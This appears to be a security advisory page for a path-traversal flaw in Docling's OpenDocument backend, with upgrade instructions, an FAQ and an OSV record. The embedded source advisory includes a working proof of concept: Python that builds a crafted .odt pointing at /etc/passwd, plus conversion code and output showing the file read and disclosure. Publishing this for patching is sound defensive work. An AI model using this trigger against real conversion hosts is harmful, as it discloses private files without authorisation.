CVE-2026-105751: Docling Arbitrary Local File Read Vulnerability

MODERATE
Advisory Identifier: GHSA-4xhp-xg4w-8ppm
CWE-22
Published
Advisory Summary

CVE-2026-105751 is a MODERATE arbitrary local file read vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Docling libraries in the PyPI ecosystem. The issue involves arbitrary local file read via draw:image xlink:href in the opendocument backend. Remediation is available by upgrading affected packages to version 2.120.3.

CVE-2026-105751 at a Glance

CVE Identifier CVE-2026-105751
GHSA Identifier GHSA-4xhp-xg4w-8ppm
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Docling
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-105751

To remediate this vulnerability, upgrade all affected Docling dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

docling fixed: 2.120.3
pip install docling>=2.120.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show docling

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-105751, inspect your installed packages using pip:

pip show docling

Analyze the terminal output to locate any version of Docling in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.120.3), your application is affected.

Note: The pip show docling command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Docling, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from `content.xml`, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch` controls that the other backends use for exactly this decision. Converting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target decodes as an image, its complete contents are embedded in the resulting `DoclingDocument` and appear in the HTML, Markdown and JSON exports. Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries. ## Affected component `docling/backend/opendocument_backend.py`, in `_image_ref_from_odf_image`: ```python image_url = _odf_image_href(image) ... if image_data is None and odf_obj is not None and image_url: try: image_data = odf_obj.get_part(image_url) except Exception: image_data = None if image_data is None and image_url: image_path = Path(image_url) if image_path.is_file(): image_data = image_path.read_bytes() ``` `_odf_image_href` returns the `xlink:href` attribute. The in-archive lookup is attempted first; when it fails, the same string is handed to `Path` and read from disk. The only filter on the way in is `_odf_image_can_be_bitmap`, which admits any path whose suffix is one of `.bmp`, `.gif`, `.jpeg`, `.jpg`, `.png`, `.tif`, `.tiff`, `.webp`, **or empty**. The empty-suffix case is what admits most paths of interest on a Unix host, `/etc/passwd` among them. ### The backend does not use the project's own fetch controls ``` $ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \ docling/backend/opendocument_backend.py $ ``` Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through `docling/backend/utils/image_resource_loader.py`, where `enable_local_fetch` and `enable_remote_fetch` both default to `False`. The ODF backend reimplements image loading and does not consult either, so the default of not fetching local resources is not applied on this path. That is the substance of the report: the control exists, it is off by default, and this backend does not reach it. ## Affected versions Introduced by commit `e2afe381`, "feat: Add OpenDocument backend support and improve ODF image/table handling" (#3480), 2026-06-24. First released in **v2.107.0**. **Affected: `docling` >= 2.107.0, up to and including 2.117.0 and current `main` (`52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1`).** Subsequent commits touching this file — `2c3e55b3` (skip a `draw:object` with a missing embedded part), `b627ca91` (preserve content inside sections), `2ec33bc7` (guard backend imports) — address unrelated defects and leave the path resolution unchanged. Reproduced on two independent machines: | | | |---|---| | Python 3.12.3 | `docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1 | | Python 3.14.4 | same releases, and again against `main` clones on `sys.path` | ## Proof of concept ### Trigger An `.odt` needs only `mimetype` and `content.xml`. No manifest, no styles, no embedded image part. ```python import zipfile CONTENT = ( '<?xml version="1.0"?><office:document-content ' 'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' 'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" ' 'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" ' 'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">' '<office:body><office:text><text:p>' '<draw:frame><draw:image xlink:href="{href}"/></draw:frame>' '</text:p></office:text></office:body></office:document-content>' ) def build(path, href): with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z: zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0)) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, "application/vnd.oasis.opendocument.text") zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0)) zi.compress_type = zipfile.ZIP_DEFLATED z.writestr(zi, CONTENT.format(href=href)) build("odt_etc_passwd.odt", "/etc/passwd") build("odt_control.odt", "Pictures/image1.png") ``` With the fixed archive timestamp above the artifacts are byte-reproducible: | File | Bytes | sha256 | |---|---|---| | `odt_etc_passwd.odt` | 452 | `edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634` | | `odt_control.odt` | 458 | `da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6` | Without the fixed timestamp the archive size varies by a few bytes with the length of the `href` string, which is the only part that changes. ### Conversion — public API, default install, no options set ```python from pathlib import Path from docling.document_converter import DocumentConverter from docling_core.types.doc import ImageRefMode doc = DocumentConverter().convert(Path("trigger.odt")).document print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED)) ``` The read itself is observed with `sys.addaudithook`, which records every `open` without modifying Docling or any dependency. A self-contained script, `odf_repro.py`, is attached. It creates its own canary image in a fresh temporary directory, builds the trigger and the control, converts both, and reports the read, the disclosure in each export format, and ten consecutive repetitions. ### Output — disclosure ``` python 3.14.4 docling /home/asus/CVE/docling/docling/__init__.py canary /tmp/odf_canary_eoz7_2d8/canary.png (104 B, sha256 b9c57d2dc728be7f) trigger odf_trigger.odt (471 B, sha256 341d060294c90447) file opened outside document : True ['/tmp/odf_canary_eoz7_2d8/canary.png', ...] contents present in html : True contents present in markdown : True contents present in json : True control (in-archive href) : disclosed=False determinism : 10/10 ---------------------------------------------------------------------- RESULT: REPRODUCED ---------------------------------------------------------------------- ``` The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly. The control is the ordinary ODF convention, `xlink:href="Pictures/image1.png"`. It resolves inside the archive and discloses nothing, through the same function. That is what separates this from intended behaviour. ### Output — read of a non-image path The read happens before any decoding is attempted, so it is not confined to image files. ``` /etc/passwd status=success opened=['/etc/passwd'] /etc/does_not_exist_9c1f status=success opened=[] ``` Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths. ## Impact Confirmed by execution, default install, no options set: 1. **Arbitrary local file read.** A converted document names an absolute path and Docling opens it. Observed for `/etc/passwd` and for paths with no extension. 2. **Silent file existence and readability oracle.** Present and absent paths are distinguishable by side effect while conversion reports success either way. 3. **Full content disclosure.** Where the target decodes as an image, its bytes are embedded in the `DoclingDocument` and appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight. **Not demonstrated, and stated as such.** I have not tested this behind `docling-serve`. `.odt` is an accepted input format there, `json` is an accepted output format, and the service defaults to binding `0.0.0.0` with `DOCLING_SERVE_API_KEY` unset, so on the face of it the same defect is reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am raising it for you to check rather than presenting it as a result.

CVE-2026-105751 Affected Docling Versions

1 component(s)
Fixed Versions:
2.120.3
Product / Package Ecosystem Affected Versions Fixed Version
docling
PyPI
≥ 2.107.0
< 2.120.3
2.120.3

References

Frequently Asked Questions

What is CVE-2026-105751?
CVE-2026-105751 is a security vulnerability in Docling involving Arbitrary local file read via draw:image xlink:href in the OpenDocument backend under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Docling versions are affected?
Affected versions include releases prior to 2.120.3 across affected packages: docling.
What version fixes CVE-2026-105751?
Upgrading to 2.120.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is docling affected?
Yes, docling is affected in releases prior to 2.120.3. Upgrade your dependency to 2.120.3 or later.
What CWE is associated with CVE-2026-105751?
CVE-2026-105751 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-105751?
Run the dependency tree command: 'pip show docling'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4xhp-xg4w-8ppm",
  "modified" : "2026-10-05T22:33:52Z",
  "published" : "2026-10-05T22:33:52Z",
  "aliases" : [ "CVE-2026-105751" ],
  "summary" : "Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend",
  "details" : "## Summary\n \nThe ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever\nthe referenced part is not found inside the document archive. The value comes straight from\n`content.xml`, so it is document content, and it is used with no scheme check, no confinement to\nthe extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch`\ncontrols that the other backends use for exactly this decision.\n \nConverting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on\nthe converting host. Where the target decodes as an image, its complete contents are embedded in\nthe resulting `DoclingDocument` and appear in the HTML, Markdown and JSON exports.\n \nBoth the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive\ncontaining two entries.\n \n## Affected component\n \n`docling/backend/opendocument_backend.py`, in `_image_ref_from_odf_image`:\n \n```python\nimage_url = _odf_image_href(image)\n...\nif image_data is None and odf_obj is not None and image_url:\n    try:\n        image_data = odf_obj.get_part(image_url)\n    except Exception:\n        image_data = None\n \nif image_data is None and image_url:\n    image_path = Path(image_url)\n    if image_path.is_file():\n        image_data = image_path.read_bytes()\n```\n \n`_odf_image_href` returns the `xlink:href` attribute. The in-archive lookup is attempted first;\nwhen it fails, the same string is handed to `Path` and read from disk.\n \nThe only filter on the way in is `_odf_image_can_be_bitmap`, which admits any path whose suffix is\none of `.bmp`, `.gif`, `.jpeg`, `.jpg`, `.png`, `.tif`, `.tiff`, `.webp`, **or empty**. The\nempty-suffix case is what admits most paths of interest on a Unix host, `/etc/passwd` among them.\n \n### The backend does not use the project's own fetch controls\n \n```\n$ grep -n \"enable_local_fetch\\|enable_remote_fetch\\|image_resource_loader\" \\\n      docling/backend/opendocument_backend.py\n$\n```\n \nNothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through\n`docling/backend/utils/image_resource_loader.py`, where `enable_local_fetch` and\n`enable_remote_fetch` both default to `False`. The ODF backend reimplements image loading and does\nnot consult either, so the default of not fetching local resources is not applied on this path.\n \nThat is the substance of the report: the control exists, it is off by default, and this backend\ndoes not reach it.\n \n## Affected versions\n \nIntroduced by commit `e2afe381`, \"feat: Add OpenDocument backend support and improve ODF\nimage/table handling\" (#3480), 2026-06-24. First released in **v2.107.0**.\n \n**Affected: `docling` >= 2.107.0, up to and including 2.117.0 and current `main`\n(`52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1`).**\n \nSubsequent commits touching this file — `2c3e55b3` (skip a `draw:object` with a missing embedded\npart), `b627ca91` (preserve content inside sections), `2ec33bc7` (guard backend imports) — address\nunrelated defects and leave the path resolution unchanged.\n \nReproduced on two independent machines:\n \n| | |\n|---|---|\n| Python 3.12.3 | `docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1 |\n| Python 3.14.4 | same releases, and again against `main` clones on `sys.path` |\n \n## Proof of concept\n \n### Trigger\n \nAn `.odt` needs only `mimetype` and `content.xml`. No manifest, no styles, no embedded image part.\n \n```python\nimport zipfile\n \nCONTENT = (\n    '<?xml version=\"1.0\"?><office:document-content '\n    'xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\" '\n    'xmlns:text=\"urn:oasis:names:tc:opendocument:xmlns:text:1.0\" '\n    'xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\" '\n    'xmlns:xlink=\"http://www.w3.org/1999/xlink\" office:version=\"1.2\">'\n    '<office:body><office:text><text:p>'\n    '<draw:frame><draw:image xlink:href=\"{href}\"/></draw:frame>'\n    '</text:p></office:text></office:body></office:document-content>'\n)\n \ndef build(path, href):\n    with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n        zi = zipfile.ZipInfo(\"mimetype\", date_time=(1980, 1, 1, 0, 0, 0))\n        zi.compress_type = zipfile.ZIP_STORED\n        z.writestr(zi, \"application/vnd.oasis.opendocument.text\")\n        zi = zipfile.ZipInfo(\"content.xml\", date_time=(1980, 1, 1, 0, 0, 0))\n        zi.compress_type = zipfile.ZIP_DEFLATED\n        z.writestr(zi, CONTENT.format(href=href))\n \nbuild(\"odt_etc_passwd.odt\", \"/etc/passwd\")\nbuild(\"odt_control.odt\", \"Pictures/image1.png\")\n```\n \nWith the fixed archive timestamp above the artifacts are byte-reproducible:\n \n| File | Bytes | sha256 |\n|---|---|---|\n| `odt_etc_passwd.odt` | 452 | `edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634` |\n| `odt_control.odt` | 458 | `da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6` |\n \nWithout the fixed timestamp the archive size varies by a few bytes with the length of the `href`\nstring, which is the only part that changes.\n \n### Conversion — public API, default install, no options set\n \n```python\nfrom pathlib import Path\nfrom docling.document_converter import DocumentConverter\nfrom docling_core.types.doc import ImageRefMode\n \ndoc = DocumentConverter().convert(Path(\"trigger.odt\")).document\nprint(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))\n```\n \nThe read itself is observed with `sys.addaudithook`, which records every `open` without modifying\nDocling or any dependency.\n \nA self-contained script, `odf_repro.py`, is attached. It creates its own canary image in a fresh\ntemporary directory, builds the trigger and the control, converts both, and reports the read, the\ndisclosure in each export format, and ten consecutive repetitions.\n \n### Output — disclosure\n \n```\npython        3.14.4\ndocling       /home/asus/CVE/docling/docling/__init__.py\ncanary        /tmp/odf_canary_eoz7_2d8/canary.png  (104 B, sha256 b9c57d2dc728be7f)\ntrigger       odf_trigger.odt  (471 B, sha256 341d060294c90447)\n \nfile opened outside document : True  ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]\ncontents present in html     : True\ncontents present in markdown : True\ncontents present in json     : True\n \ncontrol (in-archive href)    : disclosed=False\ndeterminism                  : 10/10\n \n----------------------------------------------------------------------\nRESULT: REPRODUCED\n----------------------------------------------------------------------\n```\n \nThe canary is written outside the working tree and is never placed inside the archive. The sha256\nof the base64-decoded image in the export matches the source file exactly.\n \nThe control is the ordinary ODF convention, `xlink:href=\"Pictures/image1.png\"`. It resolves inside\nthe archive and discloses nothing, through the same function. That is what separates this from\nintended behaviour.\n \n### Output — read of a non-image path\n \nThe read happens before any decoding is attempted, so it is not confined to image files.\n \n```\n/etc/passwd                  status=success  opened=['/etc/passwd']\n/etc/does_not_exist_9c1f     status=success  opened=[]\n```\n \nBoth conversions report success. Only the existing path is opened. Nothing in the conversion\nresult distinguishes the two cases, so the difference is usable as a silent file-existence oracle\nagainst arbitrary paths.\n \n## Impact\n \nConfirmed by execution, default install, no options set:\n \n1. **Arbitrary local file read.** A converted document names an absolute path and Docling opens\n   it. Observed for `/etc/passwd` and for paths with no extension.\n2. **Silent file existence and readability oracle.** Present and absent paths are distinguishable\n   by side effect while conversion reports success either way.\n3. **Full content disclosure.** Where the target decodes as an image, its bytes are embedded in\n   the `DoclingDocument` and appear base64-encoded in the HTML, Markdown and JSON exports, byte\n   for byte.\nThe disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly\nthan overstate the finding. On a document-conversion host that class is not marginal: page images\nfrom other conversions, scanned documents, cached artifacts and screenshots are exactly what such\na service accumulates. The project README describes \"local execution capabilities for sensitive\ndata and air-gapped environments\", which is the deployment where host-side file disclosure carries\nthe most weight.\n \n**Not demonstrated, and stated as such.** I have not tested this behind `docling-serve`. `.odt` is\nan accepted input format there, `json` is an accepted output format, and the service defaults to\nbinding `0.0.0.0` with `DOCLING_SERVE_API_KEY` unset, so on the face of it the same defect is\nreachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am\nraising it for you to check rather than presenting it as a result.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "docling"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.107.0"
      }, {
        "fixed" : "2.120.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/pull/4015"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/docling-project/docling"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/releases/tag/v2.120.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T22:33:52Z",
    "nvd_published_at" : null
  }
}